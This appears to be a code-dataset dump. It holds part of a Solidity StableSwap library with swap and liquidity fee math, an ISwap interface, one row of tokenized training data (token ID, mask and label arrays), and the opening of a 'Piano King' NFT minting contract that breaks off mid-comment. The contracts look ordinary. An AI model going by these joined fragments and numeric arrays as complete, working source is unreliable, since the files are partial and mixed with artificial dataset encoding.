dyFee = dy.mul(self.swapFee).div(FEE_DENOMINATOR);
dy = dy.sub(dyFee).div(multipliers[tokenIndexTo]);
}
/**
* @notice A simple method to calculate amount of each underlying
* tokens that is returned upon burning given amount of
* LP tokens
*
* @param account the address that is removing liquidity. required for withdraw fee calculation
* @param amount the amount of LP tokens that would to be burned on
* withdrawal
* @return array of amounts of tokens user will receive
*/
function calculateRemoveLiquidity(
Swap storage self,
address account,
uint256 amount
) external view returns (uint256[] memory) {
return
_calculateRemoveLiquidity(
self,
self.balances,
account,
amount,
self.lpToken.totalSupply()
);
}
function _calculateRemoveLiquidity(
Swap storage self,
uint256[] memory balances,
address account,
uint256 amount,
uint256 totalSupply
) internal view returns (uint256[] memory) {
require(amount <= totalSupply, "Cannot exceed total supply");
uint256 feeAdjustedAmount =
amount
.mul(
FEE_DENOMINATOR.sub(_calculateCurrentWithdrawFee(self, account))
)
.div(FEE_DENOMINATOR);
uint256[] memory amounts = new uint256[](balances.length);
for (uint256 i = 0; i < balances.length; i++) {
amounts[i] = balances[i].mul(feeAdjustedAmount).div(totalSupply);
}
return amounts;
}
/**
* @notice Calculate the fee that is applied when the given user withdraws.
* Withdraw fee decays linearly over WITHDRAW_FEE_DECAY_TIME.
* @param user address you want to calculate withdraw fee of
* @return current withdraw fee of the user
*/
function calculateCurrentWithdrawFee(Swap storage self, address user)
external
view
returns (uint256)
{
return _calculateCurrentWithdrawFee(self, user);
}
function _calculateCurrentWithdrawFee(Swap storage self, address user)
internal
view
returns (uint256)
{
uint256 endTime =
self.depositTimestamp[user].add(WITHDRAW_FEE_DECAY_TIME);
if (endTime > block.timestamp) {
uint256 timeLeftover = endTime.sub(block.timestamp);
return
self
.defaultWithdrawFee
.mul(self.withdrawFeeMultiplier[user])
.mul(timeLeftover)
.div(WITHDRAW_FEE_DECAY_TIME)
.div(FEE_DENOMINATOR);
}
return 0;
}
/**
* @notice A simple method to calculate prices from deposits or
* withdrawals, excluding fees but including slippage. This is
* helpful as an input into the various "min" parameters on calls
* to fight front-running
*
* @dev This shouldn't be used outside frontends for user estimates.
*
* @param self Swap struct to read from
* @param account address of the account depositing or withdrawing tokens
* @param amounts an array of token amounts to deposit or withdrawal,
* corresponding to pooledTokens. The amount should be in each
* pooled token's native precision. If a token charges a fee on transfers,
* use the amount that gets transferred after the fee.
* @param deposit whether this is a deposit or a withdrawal
* @return if deposit was true, total amount of lp token that will be minted and if
* deposit was false, total amount of lp token that will be burned
*/
function calculateTokenAmount(
Swap storage self,
address account,
uint256[] calldata amounts,
bool deposit
) external view returns (uint256) {
uint256 a = _getAPrecise(self);
uint256[] memory balances = self.balances;
uint256[] memory multipliers = self.tokenPrecisionMultipliers;
uint256 d0 = getD(_xp(balances, multipliers), a);
for (uint256 i = 0; i < balances.length; i++) {
if (deposit) {
balances[i] = balances[i].add(amounts[i]);
} else {
balances[i] = balances[i].sub(
amounts[i],
"Cannot withdraw more than available"
);
}
}
uint256 d1 = getD(_xp(balances, multipliers), a);
uint256 totalSupply = self.lpToken.totalSupply();
if (deposit) {
return d1.sub(d0).mul(totalSupply).div(d0);
} else {
return
d0.sub(d1).mul(totalSupply).div(d0).mul(FEE_DENOMINATOR).div(
FEE_DENOMINATOR.sub(
_calculateCurrentWithdrawFee(self, account)
)
);
}
}
/**
* @notice return accumulated amount of admin fees of the token with given index
* @param self Swap struct to read from
* @param index Index of the pooled token
* @return admin balance in the token's precision
*/
function getAdminBalance(Swap storage self, uint256 index)
external
view
returns (uint256)
{
require(index < self.pooledTokens.length, "Token index out of range");
return
self.pooledTokens[index].balanceOf(address(this)).sub(
self.balances[index]
);
}
/**
* @notice internal helper function to calculate fee per token multiplier used in
* swap fee calculations
* @param swapFee swap fee for the tokens
* @param numTokens number of tokens pooled
*/
function _feePerToken(uint256 swapFee, uint256 numTokens)
internal
pure
returns (uint256)
{
return swapFee.mul(numTokens).div(numTokens.sub(1).mul(4));
}
/*** STATE MODIFYING FUNCTIONS ***/
/**
* @notice swap two tokens in the pool
* @param self Swap struct to read from and write to
* @param tokenIndexFrom the token the user wants to sell
* @param tokenIndexTo the token the user wants to buy
* @param dx the amount of tokens the user wants to sell
* @param minDy the min amount the user would like to receive, or revert.
* @return amount of token user received on swap
*/
function swap(
Swap storage self,
uint8 tokenIndexFrom,
uint8 tokenIndexTo,
uint256 dx,
uint256 minDy
) external returns (uint256) {
{
IERC20 tokenFrom = self.pooledTokens[tokenIndexFrom];
require(
dx <= tokenFrom.balanceOf(msg.sender),
"Cannot swap more than you own"
);
// Transfer tokens first to see if a fee was charged on transfer
uint256 beforeBalance = tokenFrom.balanceOf(address(this));
tokenFrom.safeTransferFrom(msg.sender, address(this), dx);
// Use the actual transferred amount for AMM math
dx = tokenFrom.balanceOf(address(this)).sub(beforeBalance);
}
uint256 dy;
uint256 dyFee;
uint256[] memory balances = self.balances;
(dy, dyFee) = _calculateSwap(
self,
tokenIndexFrom,
tokenIndexTo,
dx,
balances
);
require(dy >= minDy, "Swap didn't result in min tokens");
uint256 dyAdminFee =
dyFee.mul(self.adminFee).div(FEE_DENOMINATOR).div(
self.tokenPrecisionMultipliers[tokenIndexTo]
);
self.balances[tokenIndexFrom] = balances[tokenIndexFrom].add(dx);
self.balances[tokenIndexTo] = balances[tokenIndexTo].sub(dy).sub(
dyAdminFee
);
self.pooledTokens[tokenIndexTo].safeTransfer(msg.sender, dy);
emit TokenSwap(msg.sender, dx, dy, tokenIndexFrom, tokenIndexTo);
return dy;
}
/**
* @notice Add liquidity to the pool
* @param self Swap struct to read from and write to
* @param amounts the amounts of each token to add, in their native precision
* @param minToMint the minimum LP tokens adding this amount of liquidity
* should mint, otherwise revert. Handy for front-running mitigation
* allowed addresses. If the pool is not in the guarded launch phase, this parameter will be ignored.
* @return amount of LP token user received
*/
function addLiquidity(
Swap storage self,
uint256[] memory amounts,
uint256 minToMint
) external returns (uint256) {
IERC20[] memory pooledTokens = self.pooledTokens;
require(
amounts.length == pooledTokens.length,
"Amounts must match pooled tokens"
);
// current state
ManageLiquidityInfo memory v =
ManageLiquidityInfo(
0,
0,
0,
_getAPrecise(self),
self.lpToken,
0,
self.balances,
self.tokenPrecisionMultipliers
);
v.totalSupply = v.lpToken.totalSupply();
if (v.totalSupply != 0) {
v.d0 = getD(_xp(v.balances, v.multipliers), v.preciseA);
}
uint256[] memory newBalances = new uint256[](pooledTokens.length);
for (uint256 i = 0; i < pooledTokens.length; i++) {
require(
v.totalSupply != 0 || amounts[i] > 0,
"Must supply all tokens in pool"
);
// Transfer tokens first to see if a fee was charged on transfer
if (amounts[i] != 0) {
uint256 beforeBalance =
pooledTokens[i].balanceOf(address(this));
pooledTokens[i].safeTransferFrom(
msg.sender,
address(this),
amounts[i]
);
// Update the amounts[] with actual transfer amount
amounts[i] = pooledTokens[i].balanceOf(address(this)).sub(
beforeBalance
);
}
newBalances[i] = v.balances[i].add(amounts[i]);
}
// invariant after change
v.d1 = getD(_xp(newBalances, v.multipliers), v.preciseA);
require(v.d1 > v.d0, "D should increase");
// updated to reflect fees and calculate the user's LP tokens
v.d2 = v.d1;
uint256[] memory fees = new uint256[](pooledTokens.length);
if (v.totalSupply != 0) {
uint256 feePerToken =
_feePerToken(self.swapFee, pooledTokens.length);
for (uint256 i = 0; i < pooledTokens.length; i++) {
uint256 idealBalance = v.d1.mul(v.balances[i]).div(v.d0);
fees[i] = feePerToken
.mul(idealBalance.difference(newBalances[i]))
.div(FEE_DENOMINATOR);
self.balances[i] = newBalances[i].sub(
fees[i].mul(self.adminFee).div(FEE_DENOMINATOR)
);
newBalances[i] = newBalances[i].sub(fees[i]);
}
v.d2 = getD(_xp(newBalances, v.multipliers), v.preciseA);
} else {
// the initial depositor doesn't pay fees
self.balances = newBalances;
}
uint256 toMint;
if (v.totalSupply == 0) {
toMint = v.d1;
} else {
toMint = v.d2.sub(v.d0).mul(v.totalSupply).div(v.d0);
}
require(toMint >= minToMint, "Couldn't mint min requested");
// mint the user's LP tokens
v.lpToken.mint(msg.sender, toMint);
emit AddLiquidity(
msg.sender,
amounts,
fees,
v.d1,
v.totalSupply.add(toMint)
);
return toMint;
}
/**
* @notice Update the withdraw fee for `user`. If the user is currently
* not providing liquidity in the pool, sets to default value. If not, recalculate
* the starting withdraw fee based on the last deposit's time & amount relative
* to the new deposit.
*
* @param self Swap struct to read from and write to
* @param user address of the user depositing tokens
* @param toMint amount of pool tokens to be minted
*/
function updateUserWithdrawFee(
Swap storage self,
address user,
uint256 toMint
) public {
// If token is transferred to address 0 (or burned), don't update the fee.
if (user == address(0)) {
return;
}
if (self.defaultWithdrawFee == 0) {
// If current fee is set to 0%, set multiplier to FEE_DENOMINATOR
self.withdrawFeeMultiplier[user] = FEE_DENOMINATOR;
} else {
// Otherwise, calculate appropriate discount based on last deposit amount
uint256 currentFee = _calculateCurrentWithdrawFee(self, user);
uint256 currentBalance = self.lpToken.balanceOf(user);
// ((currentBalance * currentFee) + (toMint * defaultWithdrawFee)) * FEE_DENOMINATOR /
// ((toMint + currentBalance) * defaultWithdrawFee)
self.withdrawFeeMultiplier[user] = currentBalance
.mul(currentFee)
.add(toMint.mul(self.defaultWithdrawFee))
.mul(FEE_DENOMINATOR)
.div(toMint.add(currentBalance).mul(self.defaultWithdrawFee));
}
self.depositTimestamp[user] = block.timestamp;
}
/**
* @notice Burn LP tokens to remove liquidity from the pool.
* @dev Liquidity can always be removed, even when the pool is paused.
* @param self Swap struct to read from and write to
* @param amount the amount of LP tokens to burn
* @param minAmounts the minimum amounts of each token in the pool
* acceptable for this burn. Useful as a front-running mitigation
* @return amounts of tokens the user received
*/
function removeLiquidity(
Swap storage self,
uint256 amount,
uint256[] calldata minAmounts
) external returns (uint256[] memory) {
LPToken lpToken = self.lpToken;
IERC20[] memory pooledTokens = self.pooledTokens;
require(amount <= lpToken.balanceOf(msg.sender), ">LP.balanceOf");
require(
minAmounts.length == pooledTokens.length,
"minAmounts must match poolTokens"
);
uint256[] memory balances = self.balances;
uint256 totalSupply = lpToken.totalSupply();
uint256[] memory amounts =
_calculateRemoveLiquidity(
self,
balances,
msg.sender,
amount,
totalSupply
);
for (uint256 i = 0; i < amounts.length; i++) {
require(amounts[i] >= minAmounts[i], "amounts[i] < minAmounts[i]");
self.balances[i] = balances[i].sub(amounts[i]);
pooledTokens[i].safeTransfer(msg.sender, amounts[i]);
}
lpToken.burnFrom(msg.sender, amount);
emit RemoveLiquidity(msg.sender, amounts, totalSupply.sub(amount));
return amounts;
}
/**
* @notice Remove liquidity from the pool all in one token.
* @param self Swap struct to read from and write to
* @param tokenAmount the amount of the lp tokens to burn
* @param tokenIndex the index of the token you want to receive
* @param minAmount the minimum amount to withdraw, otherwise revert
* @return amount chosen token that user received
*/
function removeLiquidityOneToken(
Swap storage self,
uint256 tokenAmount,
uint8 tokenIndex,
uint256 minAmount
) external returns (uint256) {
LPToken lpToken = self.lpToken;
IERC20[] memory pooledTokens = self.pooledTokens;
require(tokenAmount <= lpToken.balanceOf(msg.sender), ">LP.balanceOf");
require(tokenIndex < pooledTokens.length, "Token not found");
uint256 totalSupply = lpToken.totalSupply();
(uint256 dy, uint256 dyFee) =
_calculateWithdrawOneToken(
self,
msg.sender,
tokenAmount,
tokenIndex,
totalSupply
);
require(dy >= minAmount, "dy < minAmount");
self.balances[tokenIndex] = self.balances[tokenIndex].sub(
dy.add(dyFee.mul(self.adminFee).div(FEE_DENOMINATOR))
);
lpToken.burnFrom(msg.sender, tokenAmount);
pooledTokens[tokenIndex].safeTransfer(msg.sender, dy);
emit RemoveLiquidityOne(
msg.sender,
tokenAmount,
totalSupply,
tokenIndex,
dy
);
return dy;
}
/**
* @notice Remove liquidity from the pool, weighted differently than the
* pool's current balances.
*
* @param self Swap struct to read from and write to
* @param amounts how much of each token to withdraw
* @param maxBurnAmount the max LP token provider is willing to pay to
* remove liquidity. Useful as a front-running mitigation.
* @return actual amount of LP tokens burned in the withdrawal
*/
function removeLiquidityImbalance(
Swap storage self,
uint256[] memory amounts,
uint256 maxBurnAmount
) public returns (uint256) {
ManageLiquidityInfo memory v =
ManageLiquidityInfo(
0,
0,
0,
_getAPrecise(self),
self.lpToken,
0,
self.balances,
self.tokenPrecisionMultipliers
);
v.totalSupply = v.lpToken.totalSupply();
IERC20[] memory pooledTokens = self.pooledTokens;
require(
amounts.length == pooledTokens.length,
"Amounts should match pool tokens"
);
require(
maxBurnAmount <= v.lpToken.balanceOf(msg.sender) &&
maxBurnAmount != 0,
">LP.balanceOf"
);
uint256 feePerToken = _feePerToken(self.swapFee, pooledTokens.length);
uint256[] memory fees = new uint256[](pooledTokens.length);
{
uint256[] memory balances1 = new uint256[](pooledTokens.length);
v.d0 = getD(_xp(v.balances, v.multipliers), v.preciseA);
for (uint256 i = 0; i < pooledTokens.length; i++) {
balances1[i] = v.balances[i].sub(
amounts[i],
"Cannot withdraw more than available"
);
}
v.d1 = getD(_xp(balances1, v.multipliers), v.preciseA);
for (uint256 i = 0; i < pooledTokens.length; i++) {
uint256 idealBalance = v.d1.mul(v.balances[i]).div(v.d0);
uint256 difference = idealBalance.difference(balances1[i]);
fees[i] = feePerToken.mul(difference).div(FEE_DENOMINATOR);
self.balances[i] = balances1[i].sub(
fees[i].mul(self.adminFee).div(FEE_DENOMINATOR)
);
balances1[i] = balances1[i].sub(fees[i]);
}
v.d2 = getD(_xp(balances1, v.multipliers), v.preciseA);
}
uint256 tokenAmount = v.d0.sub(v.d2).mul(v.totalSupply).div(v.d0);
require(tokenAmount != 0, "Burnt amount cannot be zero");
tokenAmount = tokenAmount.add(1).mul(FEE_DENOMINATOR).div(
FEE_DENOMINATOR.sub(_calculateCurrentWithdrawFee(self, msg.sender))
);
require(tokenAmount <= maxBurnAmount, "tokenAmount > maxBurnAmount");
v.lpToken.burnFrom(msg.sender, tokenAmount);
for (uint256 i = 0; i < pooledTokens.length; i++) {
pooledTokens[i].safeTransfer(msg.sender, amounts[i]);
}
emit RemoveLiquidityImbalance(
msg.sender,
amounts,
fees,
v.d1,
v.totalSupply.sub(tokenAmount)
);
return tokenAmount;
}
/**
* @notice withdraw all admin fees to a given address
* @param self Swap struct to withdraw fees from
* @param to Address to send the fees to
*/
function withdrawAdminFees(Swap storage self, address to) external {
IERC20[] memory pooledTokens = self.pooledTokens;
for (uint256 i = 0; i < pooledTokens.length; i++) {
IERC20 token = pooledTokens[i];
uint256 balance =
token.balanceOf(address(this)).sub(self.balances[i]);
if (balance != 0) {
token.safeTransfer(to, balance);
}
}
}
/**
* @notice Sets the admin fee
* @dev adminFee cannot be higher than 100% of the swap fee
* @param self Swap struct to update
* @param newAdminFee new admin fee to be applied on future transactions
*/
function setAdminFee(Swap storage self, uint256 newAdminFee) external {
require(newAdminFee <= MAX_ADMIN_FEE, "Fee is too high");
self.adminFee = newAdminFee;
emit NewAdminFee(newAdminFee);
}
/**
* @notice update the swap fee
* @dev fee cannot be higher than 1% of each swap
* @param self Swap struct to update
* @param newSwapFee new swap fee to be applied on future transactions
*/
function setSwapFee(Swap storage self, uint256 newSwapFee) external {
require(newSwapFee <= MAX_SWAP_FEE, "Fee is too high");
self.swapFee = newSwapFee;
emit NewSwapFee(newSwapFee);
}
/**
* @notice update the default withdraw fee. This also affects deposits made in the past as well.
* @param self Swap struct to update
* @param newWithdrawFee new withdraw fee to be applied
*/
function setDefaultWithdrawFee(Swap storage self, uint256 newWithdrawFee)
external
{
require(newWithdrawFee <= MAX_WITHDRAW_FEE, "Fee is too high");
self.defaultWithdrawFee = newWithdrawFee;
emit NewWithdrawFee(newWithdrawFee);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
interface ISwap {
// pool data view functions
function getA() external view returns (uint256);
function getToken(uint8 index) external view returns (IERC20);
function getTokenIndex(address tokenAddress) external view returns (uint8);
function getTokenBalance(uint8 index) external view returns (uint256);
function getVirtualPrice() external view returns (uint256);
// min return calculation functions
function calculateSwap(
uint8 tokenIndexFrom,
uint8 tokenIndexTo,
uint256 dx
) external view returns (uint256);
function calculateTokenAmount(
address account,
uint256[] calldata amounts,
bool deposit
) external view returns (uint256);
function calculateRemoveLiquidity(address account, uint256 amount)
external
view
returns (uint256[] memory);
function calculateRemoveLiquidityOneToken(
address account,
uint256 tokenAmount,
uint8 tokenIndex
) external view returns (uint256 availableTokenAmount);
// state modifying functions
function initialize(
IERC20[] memory pooledTokens,
uint8[] memory decimals,
string memory lpTokenName,
string memory lpTokenSymbol,
uint256 a,
uint256 fee,
uint256 adminFee,
uint256 withdrawFee,
address lpTokenTargetAddress
) external;
function swap(
uint8 tokenIndexFrom,
uint8 tokenIndexTo,
uint256 dx,
uint256 minDy,
uint256 deadline
) external returns (uint256);
function addLiquidity(
uint256[] calldata amounts,
uint256 minToMint,
uint256 deadline
) external returns (uint256);
function removeLiquidity(
uint256 amount,
uint256[] calldata minAmounts,
uint256 deadline
) external returns (uint256[] memory);
function removeLiquidityOneToken(
uint256 tokenAmount,
uint8 tokenIndex,
uint256 minAmount,
uint256 deadline
) external returns (uint256);
function removeLiquidityImbalance(
uint256[] calldata amounts,
uint256 maxBurnAmount,
uint256 deadline
) external returns (uint256);
// withdraw fee update function
function updateUserWithdrawFee(address recipient, uint256 transferAmount)
external;
}
| ** EVENTS ***/ variables around the ramp management of A, the amplification coefficient * n * (n - 1) see https:www.curve.fi/stableswap-paper.pdf for details fee calculation contract references for all tokens being pooled multipliers for each pooled token's precision to get to POOL_PRECISION_DECIMALS for example, TBTC has 18 decimals, so the multiplier should be 1. WBTC has 8, so the multiplier should be 10 ** 18 / 10 ** 8 => 10 ** 10 the pool balance of each token, in the token's precision the contract's actual token balance might differ | struct Swap {
uint256 initialA;
uint256 futureA;
uint256 initialATime;
uint256 futureATime;
uint256 swapFee;
uint256 adminFee;
uint256 defaultWithdrawFee;
LPToken lpToken;
IERC20[] pooledTokens;
uint256[] tokenPrecisionMultipliers;
uint256[] balances;
mapping(address => uint256) depositTimestamp;
mapping(address => uint256) withdrawFeeMultiplier;
}
| 35,150 | [
1,
29221,
342,
3152,
6740,
326,
436,
931,
11803,
434,
432,
16,
326,
2125,
412,
1480,
16554,
225,
290,
225,
261,
82,
300,
404,
13,
2621,
2333,
30,
5591,
18,
16683,
18,
22056,
19,
334,
1538,
91,
438,
17,
27400,
18,
7699,
364,
3189,
14036,
11096,
6835,
5351,
364,
777,
2430,
3832,
25007,
3309,
8127,
414,
364,
1517,
25007,
1147,
1807,
6039,
358,
336,
358,
13803,
1741,
67,
3670,
26913,
67,
23816,
55,
364,
3454,
16,
399,
38,
15988,
711,
6549,
15105,
16,
1427,
326,
15027,
1410,
506,
404,
18,
678,
38,
15988,
711,
1725,
16,
1427,
326,
15027,
1410,
506,
1728,
225,
6549,
342,
1728,
225,
1725,
516,
1728,
225,
1728,
326,
2845,
11013,
434,
1517,
1147,
16,
316,
326,
1147,
1807,
6039,
326,
6835,
1807,
3214,
1147,
11013,
4825,
15221,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
1958,
12738,
288,
203,
3639,
2254,
5034,
2172,
37,
31,
203,
3639,
2254,
5034,
3563,
37,
31,
203,
3639,
2254,
5034,
2172,
789,
494,
31,
203,
3639,
2254,
5034,
3563,
789,
494,
31,
203,
3639,
2254,
5034,
7720,
14667,
31,
203,
3639,
2254,
5034,
3981,
14667,
31,
203,
3639,
2254,
5034,
805,
1190,
9446,
14667,
31,
203,
3639,
511,
52,
1345,
12423,
1345,
31,
203,
3639,
467,
654,
39,
3462,
8526,
25007,
5157,
31,
203,
3639,
2254,
5034,
8526,
1147,
15410,
5002,
8127,
414,
31,
203,
3639,
2254,
5034,
8526,
324,
26488,
31,
203,
3639,
2874,
12,
2867,
516,
2254,
5034,
13,
443,
1724,
4921,
31,
203,
3639,
2874,
12,
2867,
516,
2254,
5034,
13,
598,
9446,
14667,
23365,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./lib/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./PianoKingWhitelist.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "./interfaces/IPianoKingRNConsumer.sol";
/**
* @dev The contract of Piano King NFTs.
*/
contract PianoKing is ERC721, Ownable, IERC2981 {
using Address for address payable;
using Strings for uint256;
uint256 private constant MAX_TOKEN_PER_ADDRESS = 25;
// The amount in Wei (0.2 ETH by default) required to give to this contract
// in order to premint an NFT for the 7000 tokens following the 1000 in presale
uint256 public constant MIN_PRICE = 200000000000000000;
// The royalties taken on each sale. Can range from 0 to 10000
// 500 => 5%
uint16 internal constant ROYALTIES = 500;
// The current minted supply
uint256 public totalSupply;
// The base url for the metadata of each token
string public baseURI =
"ipfs://QmX1wiZB72EnXdTxQCeZhRxtmT9GkBuWpD7TtDrfAcSio4/";
// The supply left before next batch mint
// Start at 0 as there is no premint for presale
uint256 public supplyLeft = 0;
// Address => how many tokens this address will receive on the next batch mint
mapping(address => uint256) public preMintAllowance;
// Addresses that have paid to get a token in the next batch mint
address[] public preMintAddresses;
// The random number used as a seed for the random sequence for batch mint
uint256 internal randomSeed;
// The random number used as the base for the incrementor in the sequence
uint256 internal randomIncrementor;
// Indicate if the random number is ready to be used
bool internal canUseRandomNumber;
// Allow to keep track of iterations through multiple consecutives
// transactions for batch mints
uint16 internal lastBatchIndex;
IPianoKingRNConsumer public pianoKingRNConsumer;
PianoKingWhitelist public pianoKingWhitelist;
// Address authorized to withdraw the funds
address public pianoKingWallet = 0xA263f5e0A44Cb4e22AfB21E957dE825027A1e586;
// Address where the royalties should be sent to
address public pianoKingFunds;
// Doesn't have to be defined straight away, can be defined later
// at least before phase 2
address public pianoKingDutchAuction;
constructor(
address _pianoKingWhitelistAddress,
address _pianoKingRNConsumer,
address _pianoKingFunds
) ERC721("Piano King NFT", "PK") {
require(_pianoKingWhitelistAddress != address(0), "Invalid address");
require(_pianoKingRNConsumer != address(0), "Invalid address");
require(_pianoKingFunds != address(0), "Invalid address");
pianoKingWhitelist = PianoKingWhitelist(_pianoKingWhitelistAddress);
pianoKingRNConsumer = IPianoKingRNConsumer(_pianoKingRNConsumer);
pianoKingFunds = _pianoKingFunds;
}
/**
* @dev Let anyone premint a random token as long as they send at least
* the min price required to do so
* The actual minting will happen later in a batch to reduce the fees
* of random number request to off-chain oracles
*/
function preMint() external payable {
// The sender must send at least the min price to mint
// and acquire the NFT
preMintFor(msg.sender);
}
/**
* @dev Premint a token for a given address.
* Meant to be used by the Dutch Auction contract or anyone wishing to
* offer a token to someone else or simply paying the gas fee for that person
*/
function preMintFor(address addr) public payable {
require(addr != address(0), "Invalid address");
// The presale mint has to be completed before this function can be called
require(totalSupply >= 1000, "Presale mint not completed");
bool isDutchAuction = totalSupply >= 8000;
// After the first phase only the Piano King Dutch Auction contract
// can mint
if (isDutchAuction) {
require(msg.sender == pianoKingDutchAuction, "Only through auction");
}
uint256 amountOfToken = isDutchAuction ? 1 : msg.value / MIN_PRICE;
// If the result is 0 then not enough funds was sent
require(amountOfToken > 0, "Not enough funds");
// We check there is enough supply left
require(supplyLeft >= amountOfToken, "Not enough tokens left");
// Check that the amount desired by the sender is below or
// equal to the maximum per address
require(
amountOfToken + preMintAllowance[addr] <= MAX_TOKEN_PER_ADDRESS,
"Above maximum"
);
// Add the address to the list if it's not in there yet
if (preMintAllowance[addr] == 0) {
preMintAddresses.push(addr);
}
// Assign the number of token to the sender
preMintAllowance[addr] += amountOfToken;
// Remove the newly acquired tokens from the supply left before next batch mint
supplyLeft -= amountOfToken;
}
/**
* @dev Do a batch mint for the tokens after the first 1000 of presale
* This function is meant to be called multiple times in row to loop
* through consecutive ranges of the array to spread gas costs as doing it
* in one single transaction may cost more than a block gas limit
* @param count How many addresses to loop through
*/
function batchMint(uint256 count) external onlyOwner {
_batchMint(preMintAddresses, count);
}
/**
* @dev Mint all the token pre-purchased during the presale
* @param count How many addresses to loop through
*/
function presaleMint(uint256 count) external onlyOwner {
_batchMint(pianoKingWhitelist.getWhitelistedAddresses(), count);
}
/**
* @dev Fetch the random numbers from RNConsumer contract
*/
function fetchRandomNumbers() internal {
// Will revert if the numbers are not ready
(uint256 seed, uint256 incrementor) = pianoKingRNConsumer
.getRandomNumbers();
// By checking this we enforce the use of a different random number for
// each batch mint
// There is still the case in which two subsequent random number requests
// return the same random number. However since it's a true random number
// using the full range of a uint128 this has an extremely low chance of occuring.
// And if it does we can still request another number.
// We can't use the randomSeed for comparison as it changes during the batch mint
require(incrementor != randomIncrementor, "Cannot use old random numbers");
randomIncrementor = incrementor;
randomSeed = seed;
canUseRandomNumber = true;
}
/**
* @dev Generic batch mint
* We don't use neither the _mint nor the _safeMint function
* to optimize the process as much as possible in terms of gas
* @param addrs Addresses meant to receive tokens
* @param count How many addresses to loop through in this call
*/
function _batchMint(address[] memory addrs, uint256 count) internal {
// To mint a batch all of its tokens need to have been preminted
require(supplyLeft == 0, "Batch not yet sold out");
if (!canUseRandomNumber) {
// Will revert the transaction if the random numbers are not ready
fetchRandomNumbers();
}
// Get the ending index from the start index and the number of
// addresses to loop through
uint256 end = lastBatchIndex + count;
// Check that the end is not longer than the addrs array
require(end <= addrs.length, "Out of bounds");
// Get the bounds of the current phase/slot
(uint256 lowerBound, uint256 upperBound) = getBounds();
// Set the token id to the value of the random number variable
// If it's the start, then it will be the random number returned
// by Chainlink VRF. If not it will be the last token id generated
// in the batch needed to continue the sequence
uint256 tokenId = randomSeed;
uint256 incrementor = randomIncrementor;
for (uint256 i = lastBatchIndex; i < end; i++) {
address addr = addrs[i];
uint256 allowance = getAllowance(addr);
for (uint256 j = 0; j < allowance; j++) {
// Generate a number from the random number for the given
// address and this given token to be minted
tokenId = generateTokenId(tokenId, lowerBound, upperBound, incrementor);
_owners[tokenId] = addr;
emit Transfer(address(0), addr, tokenId);
}
// Update the balance of the address
_balances[addr] += allowance;
if (lowerBound >= 1000) {
// We clear the mapping at this address as it's no longer needed
delete preMintAllowance[addr];
}
}
if (end == addrs.length) {
// We've minted all the tokens of this batch, so this random number
// cannot be used anymore
canUseRandomNumber = false;
if (lowerBound >= 1000) {
// And we can clear the preMintAddresses array to free it for next batch
// It's always nice to free unused storage anyway
delete preMintAddresses;
}
// Add the supply at the end to minimize interactions with storage
// It's not critical to know the actual current evolving supply
// during the batch mint so we can do that here
totalSupply += upperBound - lowerBound;
// Get the bounds of the next range now that this batch mint is completed
(lowerBound, upperBound) = getBounds();
// Assign the supply available to premint for the next batch
supplyLeft = upperBound - lowerBound;
// Set the index back to 0 so that next batch mint can start at the beginning
lastBatchIndex = 0;
} else {
// Save the token id in the random number variable to continue the sequence
// on next call
randomSeed = tokenId;
// Save the index to set as start of next call
lastBatchIndex = uint16(end);
}
}
/**
* @dev Get the allowance of an address depending of the current supply
* @param addr Address to get the allowance of
*/
function getAllowance(address addr) internal view virtual returns (uint256) {
// If the supply is below a 1000 then we're getting the white list allowance
// otherwise it's the premint allowance
return
totalSupply < 1000
? pianoKingWhitelist.getWhitelistAllowance(addr)
: preMintAllowance[addr];
}
/**
* @dev Generate a number from a random number for the tokenId that is guarranteed
* not to repeat within one cycle (defined by the size of the modulo) if we call
* this function many times in a row.
* We use the properties of prime numbers to prevent collisions naturally without
* manual checks that would be expensive since they would require writing the
* storage or the memory.
* @param randomNumber True random number which has been previously provided by oracles
* or previous tokenId that was generated from it. Since we're generating a sequence
* of numbers defined by recurrence we need the previous number as the base for the next.
* @param lowerBound Lower bound of current batch
* @param upperBound Upper bound of current batch
